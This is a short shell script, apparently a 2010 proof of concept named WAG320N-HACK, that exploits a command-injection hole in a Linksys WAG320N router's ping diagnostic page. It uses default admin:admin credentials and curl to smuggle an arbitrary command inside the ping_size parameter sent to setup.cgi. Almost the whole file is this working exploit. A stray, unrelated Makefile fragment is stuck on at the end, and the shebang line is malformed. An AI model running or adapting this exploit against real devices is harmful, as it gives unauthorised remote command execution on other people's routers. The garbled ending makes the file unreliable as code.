#/bin/sh
#
# WAG320N-HACK
# Ver. 1.0
# 12/09/2010
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program.  If not, see <http://www.gnu.org/licenses/>.

# Set username and password in the form of "username:password"
# example: "admin:admin"
my_access="admin:admin"

# Parameters test
if [ -z "$1" ]
then
  echo "wag320n-hack.sh: missing remote command"
  echo "usage: wag320n-hack.sh <remote command>"
  echo "example: wag320n-hack.sh /bin/ls -la /usr/sbin"
  echo "Note: always use full path"
  echo ""
  echo "wag320n-hack.sh - Ver. 1.0 - 12/09/2010"
  echo "Licensed under GPL V. 3"
  echo ""
  exit 0
fi

# Get the command
my_command="ping_size="'$('"$@"' 1>&2)'

curl -s -G -u "$my_access" --data-urlencode 'todo=ping_test' --data-urlencode 'this_file=Diagnostics.htm' --data-urlencode 'next_file=Ping.htm' --data-urlencode 'c4_ping_ipaddr=192.168.1.1' --data-urlencode 'ping_timeout=5000' --data-urlencode 'ping_interval=1000' --data-urlencode 'ping_number=1' --data-urlencode "$my_command" http://192.168.1.1/setup.cgi | sed -e '/HTTP\/1.0 200 OK/q'
ifeq ($(shell uname -m),x86_64)
  #DFLAGS  += -march=core2 -fPIC -DFP_64BIT -DTFM_X86_64 -DRDTSC
endif